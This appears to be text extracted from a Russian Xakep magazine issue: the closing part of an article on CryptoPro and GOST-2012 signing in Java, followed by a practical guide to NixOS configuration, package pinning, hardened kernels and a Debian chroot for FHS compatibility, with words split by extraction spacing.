На этом мес те я советую убрать от экра на монито ра детей, беремен ных жен‐ 
щин  и  людей  с  неус той чивой  пси хикой.  Вмес то  это го  сто ит  поз вать  прог‐ 
раммис та на Java, потому что сей час я пред став лю при мер ные наб роски при‐ 
ложе ния, которое поз воля ет обра баты вать докумен ты по ГОСТ‐2012.

На ше при ложе ние будет сос тоять из сле дующих клас сов:
:  про вай дер  для  обна руже ния  и  работы

клю ча CryptoPro на локаль ном дис ке;
• cryptoproproviderkey.java

:  про вай дер  клю ча,  необ ходимый  для  работы  с  сер‐ 
тифика том в кон тей нере и для  ;

• providerkey.java

cryptoproproviderkey.java

: валиди рует элек трон но‐циф ровую под пись;• signvalidation.java

: под писыва ет этой под писью докумен ты XML;• xmlsign.java

:  собира ет  XML‐докумен ты  в  пра виль ном
поряд ке.

• documentbuilderxml.java

Уч ти,  что  это  толь ко  при меры  вза имо дей ствия  с  ЭЦП,  работос пособ ность
целого при ложе ния я не гаран тирую.

WWW

•Ис ходные коды при ложе ния

ЗАКЛЮЧЕНИЕ
Итак,  мы  прош лись  по  исто рии  стан дарти зации  рос сий ско го  шиф рования,
рас смот рели воп рос лицен зирова ния крип топро вай дера и научи лись ста вить
крип топро вай дер, а так же пос мотре ли, как делать при ложе ние на Java.

Как  видишь,  уста нов ка  и  нас трой ка  крип топро вай дера  —  нес ложная
задача. Но перей ти с ГОСТ‐2001 на ГОСТ‐2012 в целом тру доем ко, пос коль‐ 
ку  нуж но  обновлять  прог рам мное  обес печение  и  тес тировать  вза имо дей‐ 
ствие  с  дру гими  учас тни ками  защищен ного  докумен тообо рота.  Наде юсь,
у тебя все получит ся!

https://xakep.ru/2016/07/20/hash-gost-34-11-2012/
https://xakep.ru/2018/06/06/stribog-blockchain/
https://goscontract.info/fls/16650/uvedomlenie-o-plane-perehoda-gost2012.pdf
http://docs.cntd.ru/document/1200004855
http://docs.cntd.ru/document/1200026578
http://docs.cntd.ru/document/1200095034
https://support.cryptopro.ru/index.php?/Knowledgebase/Article/View/265/0/perekhod-na-gost-r-3410-2012
https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BC%D0%B5%D0%B6%D0%B2%D0%B5%D0%B4%D0%BE%D0%BC%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D0%B7%D0%B0%D0%B8%D0%BC%D0%BE%D0%B4%D0%B5%D0%B9%D1%81%D1%82%D0%B2%D0%B8%D1%8F
http://www.cryptopro.ru/products/csp/jcp
http://www.softo-mir.ru/kak-skopirovat-sertifikat-i-zakrityi-klyuch-iz-reestar/
http://my-ep.ru/%D0%BA%D0%B0%D0%BA-%D1%80%D0%B0%D0%B7%D0%BB%D0%B8%D1%87%D0%B8%D1%82%D1%8C-%D1%81%D0%B5%D1%80%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D1%8B-%D0%BF%D0%BE-%D0%B3%D0%BE%D1%81%D1%82-2001-%D0%B8-2012
https://xakep.ru/wp-content/uploads/2019/04/src.zip
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Ра нее мы  , весь‐ 
ма  необыч ном  и  удоб ном  дис три бути ве
GNU/Linux, поз воля ющем опи сать всю кон‐ 
фигура цию сис темы в одном фай ле и раз‐ 
вернуть  ее  на  любой  машине  в  любой
момент.  Тог да  мы  дали  лишь  крат кое  вве‐ 
дение  в  осо бен ности  сис темы  и  при меры
ее  исполь зования.  Сегод ня  я  рас ска жу
о  том,  как  с  помощью  NixOS  решать  пов‐ 
седнев ные  задачи  и  выходить  из  труд ных
ситу аций.

уже рас ска зыва ли о NixOS

Упо мяну,  что  зна чит  NixOS  для  меня.  Дол гие  годы  я  исполь зовал  Gentoo,
и NixOS  стал  для меня Gentoo  done  right,  ког да,  нес мотря  на  гиб кость  сис‐ 
темы  и  воз можность  прос той  сбор ки  все го  нуж ного  из  исходных  кодов,  я
получил гло баль ный бинар ный кеш для ана логич ных базовым пакетов, а так же
прос тоту раз верты вания.

NixOS так же слу жит отличным при мером того, как нуж но работать с комь‐ 
юни ти,  —  зап росы  на  сли яние  (pull  request)  рас смат рива ются  зна читель но
быс трее и  качес твен нее всех сущес тву ющих на дан ный момент дис три бути‐ 
вов.  Даже  если  ты  не  занима ешь ся  непос редс твен но  раз работ кой,  ты
не  стол кнешь ся  со  ста рыми  бюрок ратами  из  таких  про ектов,  как  Debian
и Gentoo.

Из  пос ледне го  сле дует  один  немало важ ный  и  край не  при ятный  факт:
ни овер леи (overlay — сто рон ние репози тории, содер жащие сце нарии сбор‐ 
ки  ebuild  для  пакетов),  ни  их  ана логи  из  дру гих  дис три бути вов  боль ше
не явля ются необ ходимостью.  !От прав ляй свои пат чи сра зу в апс трим

ГОТОВЫЕ КОНФИГУРАЦИИ
Так как NixOS пре дос тавля ет прос тую воз можность рас простра нять нас трой‐ 
ки сво их машин так же, как и уже став шая обыч ной тра диция делить ся сво ими
кон фигура циями  для  GNU  Emacs,  мы  можем  исполь зовать  под готов ленные
дру гими  поль зовате лями  кон фигура ции  в  качес тве  базы  для  сво ей,  тем
самым не решая те проб лемы, которые уже кто‐то решал.

Для  NixOS  сущес тву ет  про ект  ,  который  пре дос‐ 
тавля ет готовую кон фигура цию для поч тового сер вера. Пол ный при мер кон‐ 
фигура ции для этой статьи мож но пос мотреть на  .

Simple  Nixos  Mailserver

мо ем Git‐сер вере
Мы  можем  вклю чить  чужую  кон фигура цию,  заб рав  ее  с  любого  ресур са

(добавь эти стро ки в  ):configuration.nix

imports = [
 ...
 (builtins.fetchTarball {
   url = "https://gitlab.com/simple‐nixos‐mailserver/nixos‐mailse
rver/‐/archive/v2.2.0/nixos‐mailserver‐v2.2.0.tar.gz";
   sha256 = "0gqzgy50hgb5zmdjiffaqp277a68564vflfpjvk1gv6079zahksc";
 })

];

SHA‐256 поз воля ет быть уве рен ным в аутен тичнос ти исполь зуемо го архи ва.
Так же  вмес то  fetchTarball  мож но  исполь зовать  fetchGit.  Далее  мы  уже

работа ем  с  кон фигура цией  mailserver  таким  же  обра зом,  как  если  бы
это было прос то локаль ное вклю чение фай лов:

mailserver = {
 enable = true;
 fqdn = "mail.dumpstack.io";
 ...
};

Да лее  нам  оста ется  толь ко  (тут  я  намерен но  опус каю  нас трой ку  DNS,  она
не  каса ется  непос редс твен но  нас тро ек  сис темы,  и  подоб ным  при дет ся
занимать ся что на NixOS, что на Ubuntu, что на дру гих дис три бути вах) ука зать
поль зовате лей, alias’ы et cetera.

Та ким  же  обра зом  мы  можем  рас простра нять  что  угод но,  нап ример
управлять  базовым  сло ем  кон фигура ции  для  ком пании  —  нас трой кой
домена, стан дар тных пла гинов для бра узе ра и так далее. Весомый плюс дан‐ 
ного под хода — он не огра ничи вает сво боду людей, работа ющих в ком пании,
так как нет чувс тва, что тво им компь юте ром управля ет кто‐то дру гой: человек
может  пос мотреть  на  обновлен ную  кон фигура цию,  изме нив  URL  «перей ти
на нее», и про дол жать работать.

Или,  быть  может,  тебе  нуж но  работать  со  зву ком  и  понадо билось  реал‐ 
тайм‐аудио? Прос то вос поль зуйся  .го товой кон фигура цией от musnix

СБОРКА ПАКЕТА ИЗ ИСХОДНИКОВ
Сис тема  сбор ки  пакетов Nix  чем‐то  напоми нает  сис тему  ebuild  для Gentoo,
ког да  боль шую  часть  работы  выпол няет  сам  пакет ный  менед жер,  который
содер жит информа цию о том, как собирать при наличии Makefile, CMakeLists
et cetera.

Сбо роч ный  файл  для  GNU  Hello  сов сем  не  будет  содер жать  ука заний
на то, как собирать:

{ stdenv, fetchurl }:

stdenv.mkDerivation rec {
 name = "hello‐${version}";
 version = "2.10";

 src = fetchurl {
   url = "mirror://gnu/hello/${name}.tar.gz";
   sha256 = "0ssi1wpaf7plaswqqjwigppsg5fyh99vdlb9kzl7c9lng89ndq1i";
 };

 doCheck = true;

 meta = with stdenv.lib; {
   description = "A program that produces a familiar, friendly 
greeting";
   longDescription = ''
     GNU Hello is a program that prints "Hello, world!" when you 
run it.
     It is fully customizable.
   '';
   homepage = https://www.gnu.org/software/hello/manual/;
   license = licenses.gpl3Plus;
   maintainers = [ maintainers.eelco ];
   platforms = platforms.all;
 };

}

Для сбор ки и уста нов ки дос таточ но записать эти стро ки в файл (hello.nix, нап‐ 
ример) и выпол нить сле дующую коман ду:

$ nix‐env ‐r ‐f ./hello.nix ‐i

Ес ли понадо бит ся совер шить какие‐либо нес тандар тные дей ствия (час тично
это  будет  рас смот рено  на  при мере  работы  с  бинар ными  пакета ми  далее),
дос таточ но пере опре делить кон крет ные эта пы.

Мы не будем под робно рас смат ривать все слу чаи сбор ки раз личных при‐ 
ложе ний, ибо вари антов бес числен ное мно жес тво. Тем не менее я советую
пос мотреть  сво ими  гла зами  на  то,  каким  обра зом  сос тавля ются  опи сания
для сбор ки раз лично го ПО в репози тории  . Я край не ред ко (буду чес‐ 
тным — никог да) пишу опи сания сбор ки с нуля, в nixpkgs лег ко най ти при мер
для раз ных сис тем сбор ки, а так же велико леп ный набор кос тылей на все слу‐ 
чаи жиз ни.

nixpkgs

БИНАРНЫЕ ПАКЕТЫ И FHS
NixOS  отли чает ся  от  дру гих  дис три бути вов  тем,  что  раз работ чикам  дис три‐ 
бути ва  приш лось  отка зать ся  от  сов мести мос ти  с   —  стан дартом,  опре‐ 
деля ющим мес тополо жение биб лиотек, исполня емых фай лов, кон фигура ции
и про чего. Из‐за это го бинар ные ути литы, соб ранные для дру гих дис три бути‐ 
вов,  без  изме нений  работать  не  смо гут:  катало гов    и 
в NixOS поп росту нет.

FHS

/usr/share /usr/lib

При этом, если раз работ чик проп риетар ного прог рам мно го обес печения
будет  собирать  для Nix,  ему  это  будет  толь ко  в  плюс,  так  как  сам  пакет ный
менед жер  Nix  на  дан ный  момент  работа ет  на  всех  дис три бути вах  (вклю чая
Ubuntu, Fedora, Debian), а прос тая работа с зависи мос тями поз волит не бес‐ 
поко ить ся о том, зарабо тает ли оно на кон крет ном.

Нап ример,  для  соз дания  пакета  для  BinaryNinja  нам  необя затель но  кос‐ 
тылить  с изме нени ем бинар ных фай лов и  зависи мос тей  вруч ную  (за исклю‐ 
чени ем libpython, но это уже не  ).за висит непос редс твен но от Nix

with import <nixpkgs> {};

pkgs.stdenv.mkDerivation {
 name = "binary‐ninja";

 src = ./BinaryNinja.zip;

 installPhase = ''
   mkdir ‐p $out/share/binary‐ninja
   cp ‐r * $out/share/binary‐ninja
   ln ‐s ${pkgs.python2}/lib/libpython2.7.so.1.0 $out/share/
binary‐ninja/libpython2.7.so.1

   mkdir ‐p $out/bin
   ln ‐s $out/share/binary‐ninja/binaryninja $out/bin/
 '';

 nativeBuildInputs = [ autoPatchelfHook ];
 buildInputs = [
   unzip
   stdenv.cc.cc glib fontconfig dbus libglvnd
   xlibs.libX11 xlibs.libXi xlibs.libXrender
   python2
 ];

}

По ясне ния излишни — мы име ем некото рый бой лер плейт опи сания сбор ки,
а так же спи сок зависи мос тей. Далее дос таточ но выпол нить коман ду

$ nix‐env ‐r ‐f ./binaryninja.nix ‐i

Пос ле  чего  binaryninja  будет  уста нов лен  на  уров не  поль зовате ля,  но  с
управле нием через пакет ный менед жер.

Но есть нюанс, который нуж но пом нить: в том слу чае, если это бинар ное
ПО, которое хочет обновлять ся самос тоятель но (как binaryninja), оно это сде‐ 
лать  не  смо жет,  так  как  каталог  при ложе ния  при  уста нов ке  через  пакет ный
менед жер дос тупен толь ко для чте ния.

ПРИЯТНЫЕ МЕЛОЧИ
Для Chromium сущес тву ет воз можность управлять пла гина ми со сто роны сис‐ 
темы (неболь шое опи сание есть  ).тут

NixOS поз воля ет управлять пла гина ми для Chromium пря мо в кон фигура‐ 
ции  для  сис темы.  Нап ример,  что бы  уста новить  по  умол чанию HTTPS  Every‐
where  и  uBlock  Origin,  дос таточ но  все го  лишь  опре делить  их  в  спис ке
extensions:

programs.chromium = {
 enable = true;
 extensions = [
   "cjpalhdlnbpafiamejdnhcphjbkeiagm" # uBlock Origin
   "gcbommkclmclpchllfjekcdonpmejbdp" # HTTPS Everywhere
 ];

};

HARDENED
Для NixOS сущес тву ет про филь Hardened, который объ еди няет в себе полез‐ 
ные для безопас ности нас трой ки сис темы. И у  тебя есть воз можность отка‐ 
тить некото рые из них. Нап ример, я делаю так:

imports =
 [ # Include the results of the hardware scan.
   ./hardware‐configuration.nix
   <nixpkgs/nixos/modules/profiles/hardened.nix>
 ];

security.allowUserNamespaces = true;
security.allowSimultaneousMultithreading = true;

В дан ном  слу чае  я  исполь зую  hardened‐опции  по  умол чанию,  но  некото рые
из них воз вра щаю в нуж ное мне сос тояние.

Зна читель но  боль шего  уров ня  защищен ности  мож но  дос тигнуть  исполь‐ 
зовани ем спе циали зиро ван ного hardened‐ядра.

Все  hardened‐ядра  в  NixOS  име ют  пос тфикс  _hardened,  соот ветс твен но,
воз можные  вари анты  мож но  най ти  прос тым  поис ком  по  пакетам  (так же  я
добав ляю .kernel, так как по умол чанию   покажет и модули ядра):nix search

$ nix search linuxPackages '_hardened\.kernel'

К при меру, на момент написа ния статьи были дос тупны сле дующие ядра:

* nixpkgs.linuxPackages_hardened.kernel (linux‐4.14.105)
* nixpkgs.linuxPackages_latest_hardened.kernel (linux‐5.0)
* nixpkgs.linuxPackages_latest_xen_dom0_hardened.kernel (linux‐5.0)
* nixpkgs.linuxPackages_testing_hardened.kernel (linux‐5.0‐rc8)
* nixpkgs.linuxPackages_xen_dom0_hardened.kernel (linux‐4.14.105)

Ана логич ным обра зом мож но искать и обыч ные ядра:

$ nix search linuxPackages '\.kernel'

Сто ит отме тить, что hardened‐ядра не вклю чают опции из про филя Hardened
по умол чанию,  тем самым гиб кость сни жает ся  толь ко для той кон фигура ции
ядра, которую невоз можно изме нять пос ле заг рузки пос редс твом интерфей‐ 
сов ядра.

Да лее  в    ука зыва ем  необ ходимое  нам  ядро,  нап‐ 
ример:

configuration.nix

boot.kernelPackages = pkgs.linuxPackages_latest_hardened;

Пос ле  чего  став ший  уже  при выч ным    и  в  слу чае
со сме ной ядра — перезаг рузка (или  ).

nixos‐rebuild  switch
kexec

ХРАНЕНИЕ СЕКРЕТОВ ДЛЯ ПУБЛИЧНЫХ КОНФИГУРАЦИЙ
Са мый  прос той  спо соб  для  того  слу чая,  ког да  ты  рас простра няешь  кон‐ 
фигура цию,  —  исполь зовать  вклю чение  кон фигура ции  через  import.  Нап‐ 
ример:

let
 secrets = import ./secrets.nix;

in {
 users.extraUsers.root = {
   openssh.authorizedKeys.keys = [ secrets.pubkey ];
 };

ДЕКЛАРАТИВНЫЕ КОНТЕЙНЕРЫ
Боль шинс тво из нас зна ет, мно гие любят и пос тоян но при меня ют, а некото‐ 
рые даже    сис темы  кон тей нер ной  вир туали зации,  поз воля‐ 
ющие  запус кать  отдель ные  при ложе ния  или  целые  опе раци онные  сис темы,
исполь зуя ядро хос товой ОС.

изоб рета ют свои

Что меня вос хища ет в кон тей нерах в NixOS — воз можность исполь зовать
те же самые дек ларации,  которые исполь зовались ранее для  хос товой сис‐ 
темы.  По  сути,  единс твен ное,  что  отли чает  кон тей нер  от  основной  сис‐ 
темы, — дру гое прос транс тво имен (namespace) в кон фигура цион ном фай ле.

В  качес тве  при мера  покажу  одну  из  дек лараций  кон тей нера,  которая
у меня оста лась где‐то в кон фигура циях. В дан ном слу чае опре делен кон тей‐ 
нер с вер сией Chromium из релиза NixOS 18.03.

containers.test = {
 autoStart = true;
 config =
 { config, pkgs, ... }:
 let
   stableTarball = fetchTarball "${tarball‐base}/nixos‐18.03.tar.gz"
;
 in {
   nixpkgs.config = {
     allowUnfree = true;
     packageOverrides = pkgs: {
       stable = import stableTarball {
         config = config.nixpkgs.config;
       };
     };
   };
   environment.systemPackages = with pkgs; [
     stable.chromium
   ];
 };

};

То есть, как ты уже мог заметить, толь ко неболь шой «кон тей нер ный бой лер‐ 
плейт», и мы получа ем логичес ки изо лиро ван ную сре ду. При этом сто ит отме‐ 
тить,  что  кон тей неры  в NixOS  не  пред полага ют  изо ляцию  с  целью  уси ления
безопас ности.

ДЕКЛАРАТИВНАЯ ГЕНЕРАЦИЯ ВИРТУАЛЬНЫХ МАШИН
Дам  ссыл ку  на  свою  ,  которую  я  писал,
еще ког да поль зовал Gentoo в качес тве хос товой сис темы.

пре дыду щую  статью  про  AppVM

Ис поль зование вир туаль ных машин в рам ках толь ко пакет ного менед жера
Nix в дру гих дис три бути вах и исполь зование Nix в рам ках NixOS в дан ном слу‐ 
чае ничего не изме нит.  Тут мож но про дол жить оды Nix  за вне сение  уни вер‐ 
саль нос ти  не  толь ко  в  рам ках  «материн ско го  дис три бути ва»,  но  и  в  общем
в  эко сис теме  GNU/Linux,  но  буду  при дер живать ся  основной  цели  статьи
и  показы вать  боль ше  непос редс твен но  при меры  исполь зования  в  пов‐ 
седнев ной жиз ни.

Продолжение статьи →
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НЕОБЫЧНЫХ ДИСТРИБУТИВОВ LINUX

GEEK  НАЧАЛО СТАТЬИ←

СТАБИЛЬНОСТЬ
Как‐то  раз  я  слу чай но  обна ружил,  что  пос тавил  новую  сис тему  из  unstable‐
вет ви. В NixOS unstable‐ветвь собира ется из тех пакетов, которые добави ли
непос редс твен но  в  Git‐репози торий  nixpgs  на  GitHub  и  которые  пос ле
успешно соб рались. Тем самым я ока зал ся на весь ма суровом bleeding edge.

Оче вид ным резуль татом ста ло  то,  что однажды  (на самом деле это было
в пер вый день) я все‐таки отхва тил баг —  .virt‐manager не работал

Что  я  мог  бы  сде лать,  если  бы  исполь зовал  клас сичес кие  дис три бути вы?
Добавить  репози торий  со  ста рыми пакета ми,  уста новить  низ кий  при ори тет,
поп робовать уста новить пакет и пос ле — начать стра дать от безыс ходнос ти
из‐за того, что прош лая вер сия пакета тре бует одной вер сии опре делен ной
биб лиоте ки, а дру гой уста нов ленный пакет в сис теме — дру гой вер сии этой
же биб лиоте ки.

В  слу чае  NixOS  подоб ных  проб лем  быть  не  может.  Воп рос  решил ся
добав лени ем ста биль ной вет ки:

nixpkgs.config = {
 allowUnfree = true;
 packageOverrides = pkgs: {
   stable = import (fetchTarball "${tarball‐base}/nixos‐18.09.tar.
gz") {
     config = config.nixpkgs.config;
   };
 };

};

где tarball‐base опре деля ется ранее:

let
 tarball‐base = "https://github.com/NixOS/nixpkgs‐channels/archive/"

;
in {
 ...

Пос ле  чего  в  спис ке  исполь зуемых  пакетов  мне  дос таточ но  исполь зовать
пре фикс stable. для того, что бы уста нав ливать пакеты из ста биль ных вет вей,
нап ример:

environment.systemPackages = with pkgs; [
 ...
 stable.virt‐manager
 ...
];

Для прос тоты понима ния того, какая вер сия исполь зует ся, есть воз можность
ука зывать сим линки явно, нап ример:

environment.systemPackages = with pkgs; [
 ...
 (pkgs.writeShellScriptBin "virt‐manager‐unstable" "${virtmanager}/

bin/virt‐manager $@")
 (pkgs.writeShellScriptBin "virt‐manager‐stable" "${stable.virtma

nager}/bin/virt‐manager $@")
];

Та ким же обра зом мож но исполь зовать любой из сним ков сос тояния репози‐ 
тория nixpkgs для того, что бы получать нуж ные вер сии.

Нап ример, мы хотим най ти вер сию сним ка сос тояния репози тория nixpgs,
в котором virt‐manager имел вер сию 2.0.

Для это го нам дос таточ но перей ти в каталог с нуж ным пакетом:

$ cd nixpkgs/pkgs/applications/virtualization/virt‐manager

Пос ле  чего,  запус тив  ,  най ти  ком мит  (прос тым  поис ком  по  номеру
вер сии),  в  котором дан ная  вер сия  была  добав лена. Нап ример,  virt‐manager
2.0 был добав лен в этом ком мите:

git  log

 

 

 

commit db7e9408a1b5c0d7d103c28b91646b374968b045 
Author: Gabriel Ebner   
Date:   Wed Nov 7 22:25:09 2018 +0100

gebner@gebner.org

  virtmanager: 1.5.1 → 2.0.0

Сле дова тель но,  для  получе ния  virt‐manager  вер сии  2.0  нам  дос таточ но
исполь зовать архив с это го ком мита:

nixpkgs.config = {
 allowUnfree = true;
 packageOverrides = pkgs: {
   stable = import (fetchTarball "${tarball‐base}/nixos‐18.09.tar.
gz") {
     config = config.nixpkgs.config;
   };
   commit1 = import (fetchTarball "${tarball‐base}/db7e9408a1b5c0d
7d103c28b91646b374968b045.tar.gz") {
     config = config.nixpkgs.config;
   };
 };

};

Пос ле мы можем таким же обра зом, как и ранее, добавить в bin исполня емый
файл для опре делен ной вер сии.

environment.systemPackages = with pkgs; [
 ...
 (pkgs.writeShellScriptBin "virt‐manager‐unstable" "${virtmanager}/

bin/virt‐manager $@")
 (pkgs.writeShellScriptBin "virt‐manager‐stable" "${stable.virtma

nager}/bin/virt‐manager $@")
 (pkgs.writeShellScriptBin "virt‐manager‐2.0.0" "${commit1.virtma

nager}/bin/virt‐manager $@")
];

Ито го мы име ем virt‐manager из пос ледней ста биль ной вет ки 18.09, той вер‐ 
сии, которая на дан ный момент находит ся в Git, а так же вер сии 2.0.0.

Это под ход со сто роны основной кон фигура ции сис темы. Таким обра зом
мож но  опре делять  каж дую  из  вер сий  пакетов,  но  зна читель ный  минус  дан‐ 
ного под хода в том, что каж дый архив дол жен быть заг ружен, соот ветс твен но
есть некото рый овер хед по раз меру фай лов.

Аль тер натив ный вари ант — уста нов ка Nix‐пакета от поль зовате ля, в этом
слу чае  дос таточ но  прос то  запус тить  коман ду  в  катало ге  с  опи сани ем
для сбор ки.

Или же мож но вер нуть ся на ста биль ную вет ку из unstable. Пред положим,
мы  хотим  перек лючить ся  на  сле дующий  релиз  19.03,  для  это го  дос таточ но
сде лать так:

$ nix‐channel ‐‐remove nixos‐19.03
$ nix‐channel ‐‐add  https://nixos.org/channels/nixos‐19.03 nixos
$ nixos‐rebuild switch ‐‐upgrade

Проб лемы с даун грей дом сис темы целиком? В разум ных пре делах не дол жны
быть, а те, что будут, свя заны с кон фигура цией из тво его домаш него катало‐ 
га, но никак не с базовой сис темой.

Ка налы так же мож но исполь зовать нап рямую, нап ример если мы добавим
каналы для ста биль ного релиза, нес табиль ного и сле дующе го пла ниру емо го
ста биль ного.

$ nix‐channel ‐‐add https://nixos.org/channels/nixos‐19.03 nixos
$ nix‐channel ‐‐add https://nixos.org/channels/nixos‐18.09 stable
$ nix‐channel ‐‐add https://nixos.org/channels/nixos‐unstable 
unstable
$ nix‐channel ‐‐update

Тот, что наз ван nixos, будет исполь зовать ся по умол чанию.
Да лее  мы  можем  опре делить  каналы  и  исполь зовать  их  для  уста нов ки

прог рамм:

let
 unstable = import <unstable> {};
 stable = import <stable> {};

in {
 ...
 environment.systemPackages = with pkgs; [
   ...
   unstable.chromium
 ];
 ...
}

Для того что бы не про пус тить улуч шения в пла не работы с тем, что было опи‐ 
сано выше, советую заг лянуть в статью на  .NixOS Wiki

БОЛЕЕ РАДИКАЛЬНОЕ РЕШЕНИЕ ПРОБЛЕМ С FHS
Проб лема несов мести мос ти NixOS с FHS в основном зат рагива ет бинар ные
пакеты (суть проб лемы я опи сал в соот ветс тву ющем раз деле), но час то быва‐ 
ет,  что  написан ный  очень  стран ными  людь ми  код  собира ется,  толь ко  если
в сис теме есть условный   по жес тко задан ному пути,
и вне FHS‐сов мести мого окру жения собирать ста новит ся невыно симо.

/usr/lib/libastral.so

Ре шение  с  исполь зовани ем  Docker  в  этом  слу чае  доволь но  оче вид но
и  при зем ленно,  поэто му  оста вим  его  хип сте рам.  Для  сво их  задач  я  пред‐ 
почитаю  исполь зовать  обыч ное  chroot‐окру жение  с  Debian,  и  я  покажу,
как его готовить таким обра зом, что бы он не дос тавлял проб лем.

Для начала прос то генери руем chroot с Debian или любым дру гим дис три‐ 
бути вом,  который мы  будем  исполь зовать  для  FHS  окру жения  (я  исполь зую
Debian и Gentoo):

$ cd /home/user/chroots
$ debootstrap sid sid‐root http://deb.debian.org/debian/

Пос ле  чего  добав ляем  в    сер вис  с  mount‐кос тылями,
который будет мон тировать все нуж ные нам катало ги. Самое важ ное из это‐ 
го  —  при вяз ка  (bind)  домаш него  катало га  хос товой  сис темы  к  сис теме
в chroot.

configuration.nix

systemd = {
 services = {
   "sid‐chroot‐mounts" = {
     enable = true;
     description = "Setup mounts for debian sid chroot";
     wantedBy = [ "multi‐user.target" ];
     script = ''
       ls /home/user/chroots/sid‐root/home/user/.zshrc && exit
       ${pkgs.utillinux}/bin/mount ‐‐bind /home/user /home/user/
chroots/sid‐root/home/user 
       ${pkgs.utillinux}/bin/mount ‐‐bind /dev /home/user/chroots/
sid‐root/dev
       ${pkgs.utillinux}/bin/mount ‐‐bind /proc /home/user/chroots/
sid‐root/proc
       ${pkgs.utillinux}/bin/mount ‐‐bind /sys /home/user/chroots/
sid‐root/sys
     '';
     serviceConfig.Type = "oneshot";
   };
 };

};

Да лее  добав ляем  в  скрипт  ини циали зацию  исполь зуемо го  шел ла  (у  меня
это .zshrc):

$ alias fhs="su ‐c 'chroot /home/user/chroots/sid‐root /bin/su ‐l 
user'"

Те перь дос таточ но наб рать коман ду  , и мы ока жем ся в окру жении Debian,
исполь зующем наш род ной домаш ний каталог. Раз ве не прек расно?

fhs

Да лее,  для  того  что бы  не  перепу тать  окру жения,  я  советую  добавить
неболь шую про вер ку в тот же файл ини циали зации шел ла.

$ which apt >/dev/null 2>&1 && PS1="fhs‐chroot $PS1"

Что мы получи ли в ито ге?

 

 

user@local ~ $ fhs 
Password: 
debian user@local ~ $

HOME MANAGER
Не кото рые  поль зовате ли  идут  даль ше  и  исполь зуют  такой же  под ход  к  кон‐ 
фигури рова нию не  толь ко сис темы, но и домаш него катало га поль зовате ля.
Тут  сто ит  отме тить,  что  это  будет  эффектив но  не  толь ко  на  NixOS,  так
как   работа ет на уров не поль зовате ля.home‐manager от Rycee

Нап ример, Nix + home‐manager мож но исполь зовать на macOS.

ЧЕМ ТЫ МОЖЕШЬ ПОМОЧЬ NIXOS?
На  дан ный  момент  активна  ини циати ва  ,  которая  пред‐ 
полага ет устра нение всех оши бок к сле дующе му релизу 19.03.

Zero  Hydra  Failures

ГДЕ ПОЛУЧИТЬ ПОМОЩЬ?
Ан гло языч ную под дер жку мож но получить в канале #nixos на freenode, пол ный
спи сок каналов мож но най ти в спис ке c  .NixOS wiki

Ес ли  тебе  нуж на  под дер жка  на  рус ском  язы ке,  можешь  соз дать  тре ды
с  тегами    и    на  ,  где  на  дан ный момент  отве чают  некото рые
из рус ско языч ных раз работ чиков NixOS.

nix nixos ЛО Ре

ВМЕСТО ЗАКЛЮЧЕНИЯ
Се год ня  я  при открыл  часть  пов седнев ности  поль зовате ля  NixOS.  Мож но
видеть, что NixOS зна читель но упро щает базовый слой сис темы в рам ках кон‐ 
фигури рова ния,  а  так же  поз воля ет  не  изоб ретать  велоси пед  при  исполь‐ 
зовании одной кон фигура ции на раз ных машинах, даже ког да это не прос то
раз ные дис три бути вы, а раз ные опе раци онные сис темы.

https://github.com/NixOS/nixpkgs/issues/56943
mailto:gebner@gebner.org
https://nixos.wiki/wiki/FAQ/Pinning_Nixpkgs
https://github.com/rycee/home-manager
https://github.com/NixOS/nixpkgs/issues/56826
https://nixos.wiki/wiki/Get_In_Touch
https://linux.org.ru/
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